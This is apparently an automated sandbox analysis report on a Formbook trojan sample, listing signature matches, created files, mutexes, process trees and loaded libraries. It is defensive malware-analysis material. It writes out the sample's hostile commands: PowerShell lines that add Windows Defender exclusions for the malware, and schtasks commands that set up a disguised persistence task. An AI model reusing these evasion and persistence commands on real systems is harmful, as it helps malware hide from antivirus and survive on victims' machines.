Source: 00000012.00000002.4528036238.0000000003030000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2391710518.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000017.00000002.4532261432.0000000005200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000012.00000002.4526845304.0000000000DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000012.00000002.4523991342.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000013.00000002.4529774873.0000000002EA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000F.00000002.2569786862.00000000014A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000011.00000002.4529392421.0000000002DE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2393885514.0000000001950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 8SxJ9aYfJ1.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: TwkYThKVQVaYn.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs Security API names: _0020.SetAccessControl
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs Security API names: _0020.AddAccessRule
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs Security API names: _0020.SetAccessControl
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs Security API names: _0020.AddAccessRule
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, J9RVJ6K99W0MlJv4fW.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, J9RVJ6K99W0MlJv4fW.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs Security API names: _0020.SetAccessControl
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs Security API names: _0020.AddAccessRule
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, J9RVJ6K99W0MlJv4fW.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@27/16@15/12
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe File created: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6268:120:WilError_03
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5656:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5000:120:WilError_03
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Mutant created: \Sessions\1\BaseNamedObjects\ndrqIdm
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5208:120:WilError_03
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe File created: C:\Users\user\AppData\Local\Temp\tmpE0B6.tmp Jump to behavior
Source: 8SxJ9aYfJ1.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 8SxJ9aYfJ1.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.98%
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: findstr.exe, 00000012.00000003.2672506817.0000000003116000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000012.00000003.2672696728.0000000003136000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4528334347.0000000003165000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4528334347.0000000003136000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4528334347.0000000003141000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 8SxJ9aYfJ1.exe ReversingLabs: Detection: 95%
Source: 8SxJ9aYfJ1.exe Virustotal: Detection: 43%
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe File read: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\8SxJ9aYfJ1.exe "C:\Users\user\Desktop\8SxJ9aYfJ1.exe"
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\8SxJ9aYfJ1.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TwkYThKVQVaYn" /XML "C:\Users\user\AppData\Local\Temp\tmpE0B6.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Users\user\Desktop\8SxJ9aYfJ1.exe "C:\Users\user\Desktop\8SxJ9aYfJ1.exe"
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Users\user\Desktop\8SxJ9aYfJ1.exe "C:\Users\user\Desktop\8SxJ9aYfJ1.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TwkYThKVQVaYn" /XML "C:\Users\user\AppData\Local\Temp\tmpF632.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process created: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe "C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe"
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Process created: C:\Windows\SysWOW64\findstr.exe "C:\Windows\SysWOW64\findstr.exe"
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Process created: C:\Windows\SysWOW64\findstr.exe "C:\Windows\SysWOW64\findstr.exe"
Source: C:\Windows\SysWOW64\findstr.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\8SxJ9aYfJ1.exe" Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe" Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TwkYThKVQVaYn" /XML "C:\Users\user\AppData\Local\Temp\tmpE0B6.tmp" Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Users\user\Desktop\8SxJ9aYfJ1.exe "C:\Users\user\Desktop\8SxJ9aYfJ1.exe" Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Users\user\Desktop\8SxJ9aYfJ1.exe "C:\Users\user\Desktop\8SxJ9aYfJ1.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TwkYThKVQVaYn" /XML "C:\Users\user\AppData\Local\Temp\tmpF632.tmp" Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process created: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe "C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe" Jump to behavior
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Process created: C:\Windows\SysWOW64\findstr.exe "C:\Windows\SysWOW64\findstr.exe" Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Process created: C:\Windows\SysWOW64\findstr.exe "C:\Windows\SysWOW64\findstr.exe"
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
